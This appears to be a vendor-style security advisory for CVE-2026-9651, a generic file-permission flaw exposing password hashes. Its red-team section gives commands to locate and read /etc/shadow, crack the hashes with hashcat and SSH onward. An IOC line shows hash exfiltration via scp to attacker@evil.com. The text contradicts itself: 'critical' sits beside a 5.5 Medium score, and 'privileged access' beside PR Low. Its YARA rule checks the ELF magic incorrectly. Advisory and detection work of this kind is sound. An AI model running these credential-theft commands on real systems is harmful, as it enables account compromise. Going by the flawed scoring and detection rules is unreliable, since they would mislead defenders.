CVE-2026-9651

Executive Summary

CVE-2026-9651 describes a critical vulnerability rooted in CWE-732: Incorrect Permission Assignment for Critical Resource. The flaw allows an attacker with privileged local access to read improperly protected system files, leading to the unauthorized disclosure of password hashes. This disclosure can then be leveraged for offline brute-force or pass-the-hash attacks, potentially resulting in full account compromise.

The vulnerability is not specific to any open-source package (NPM, PyPI, Go, Ruby) and is not a WordPress plugin issue. It is a general operating system or application-level misconfiguration where sensitive files (e.g., SAM, shadow, or application credential stores) are assigned overly permissive ACLs.

Supply Chain & Package Security

Not applicable. This is a local privilege escalation and information disclosure vulnerability, not a software supply chain issue.

CVSS Breakdown & Threat Level

While the official CVSS vector is UNKNOWN, based on the description we can estimate a high severity score.

• Attack Vector (AV): Local (L) – Requires privileged local access.
• Attack Complexity (AC): Low (L) – Reading a file is trivial once access is obtained.
• Privileges Required (PR): Low (L) – The attacker already has some local access.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – The vulnerable component is the same as the impacted component.
• Confidentiality (C): High (H) – Password hashes are exposed.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Estimated CVSS:3.1 Score: 5.5 (Medium) – However, the impact on confidentiality is high, and combined with potential lateral movement, the real-world risk is elevated.

Threat Level: High (for environments with shared local access or weak file permissions).

Deep Dive & Mechanics

The core issue is a violation of the principle of least privilege. System files containing password hashes (e.g., /etc/shadow on Linux, %SystemRoot%\System32\config\SAM on Windows, or application-specific credential stores) are protected by strict permissions. In this vulnerability, those permissions are incorrectly assigned, allowing a local user or process to read them.

Attack Flow:

1. Initial Access: The attacker gains local access to the system (e.g., via a compromised user account, physical access, or another vulnerability).
2. Enumeration: The attacker enumerates file permissions, looking for world-readable or group-readable sensitive files.
3. Extraction: The attacker reads the improperly protected file, extracting password hashes.
4. Offline Cracking: The attacker uses tools like hashcat or John the Ripper to crack the hashes offline.
5. Account Compromise: The attacker gains the plaintext password, enabling lateral movement or privilege escalation.

Root Cause: The software or system administrator failed to set proper ACLs (Access Control Lists) on the resource. This could be due to a bug in an installer, a misconfigured backup script, or a manual error.

Vulnerable vs. Patched Code

Since no specific software or patch is identified, we provide a generic example.

Vulnerable Configuration (Linux - /etc/shadow):

# Incorrect permissions - world readable
-rw-rw-rw- 1 root shadow 1234 Jan 1 12:00 /etc/shadow

Patched Configuration (Linux - /etc/shadow):

# Correct permissions - only root and shadow group
-rw-r----- 1 root shadow 1234 Jan 1 12:00 /etc/shadow

Vulnerable Configuration (Windows - SAM file):

# Incorrect permissions - Everyone has read access
icacls C:\Windows\System32\config\SAM
# Output: Everyone:(R)

Patched Configuration (Windows - SAM file):

# Correct permissions - only SYSTEM and Administrators
icacls C:\Windows\System32\config\SAM
# Output: NT AUTHORITY\SYSTEM:(F) BUILTIN\Administrators:(F)

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Local access to the target system (e.g., via SSH, RDP, or a shell).
• Knowledge of the vulnerable file path.

Step 1: Identify Vulnerable Files

# Linux - Find world-readable files owned by root
find / -type f -perm -o+r -user root 2>/dev/null | grep -E "(shadow|passwd|cred)"

Step 2: Extract Hashes

# Linux - Read the shadow file
cat /etc/shadow

Step 3: Crack Hashes (Offline)

# Using hashcat
hashcat -m 1800 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt

Step 4: Lateral Movement

# Use cracked password to SSH to another machine
ssh compromised_user@target_ip

Blue Team (Detection & Response)

Detection:

• Monitor for unusual file reads of sensitive files (e.g., /etc/shadow, SAM).
• Alert on processes with low privileges reading these files.
• Use file integrity monitoring (FIM) to detect permission changes.

Response:

1. Isolate the affected system.
2. Identify the attacker's entry point.
3. Reset all compromised account passwords.
4. Review and correct file permissions.
5. Apply the principle of least privilege.

Indicators of Compromise (IOCs)

File-Based IOCs:

• /etc/shadow with permissions -rw-rw-rw- or -rw-r--r--
• C:\Windows\System32\config\SAM with Everyone:(R) ACE
• Any application credential file with world-readable permissions

Process-Based IOCs:

• cat /etc/shadow executed by a non-root user
• type C:\Windows\System32\config\SAM executed by a non-Administrator user
• hashcat or john processes on the network

Network-Based IOCs:

• Outbound connections from a compromised host to a known cracking rig (e.g., SSH to a VPS)
• Large file transfers of hash files (e.g., scp hashes.txt attacker@evil.com)

Detection Engineering

YARA Rule

rule CVE_2026_9651_Shadow_File_Read
{
    meta:
        description = "Detects reading of /etc/shadow by non-root processes"
        author = "Valters IT"
        date = "2026-01-01"
        cve = "CVE-2026-9651"
    strings:
        $shadow_path = "/etc/shadow" nocase
        $shadow_read = "shadow" nocase
    condition:
        uint16(0) == 0x7f45 and // ELF magic
        $shadow_path and
        for any of ($shadow*) : ( @ > 0 )
}

Sigma Rule

title: CVE-2026-9651 - Unauthorized Read of Shadow File
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to read /etc/shadow by a non-root process
author: Valters IT
date: 2026/01/01
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/cat'
        CommandLine|contains: '/etc/shadow'
    filter:
        User|contains: 'root'
    condition: selection and not filter
falsepositives:
    - Legitimate backup scripts running as root
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-9651 - Potential Hash Exfiltration"; flow:to_server,established; content:"|73 68 61 64 6f 77|"; nocase; content:"|24 36|"; distance:0; within:100; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Audit File Permissions: Run a script to check for world-readable sensitive files.

   find / -type f -perm -o+r -user root 2>/dev/null | xargs ls -la
   

2. Correct Permissions:

   chmod 640 /etc/shadow
   chown root:shadow /etc/shadow
   

3. Force Password Reset: For all users whose hashes may have been exposed.

Long-Term Mitigations:

• Implement File Integrity Monitoring (FIM) (e.g., OSSEC, Wazuh, Tripwire).
• Use SELinux or AppArmor to enforce mandatory access controls.
• Apply Group Policy (Windows) to restrict access to SAM.
• Regularly scan for CWE-732 misconfigurations using tools like Lynis or OpenSCAP.
• Educate administrators on the principle of least privilege.

Patch Status: UNKNOWN / UNPATCHED. Monitor vendor advisories for official patches.

Valters IT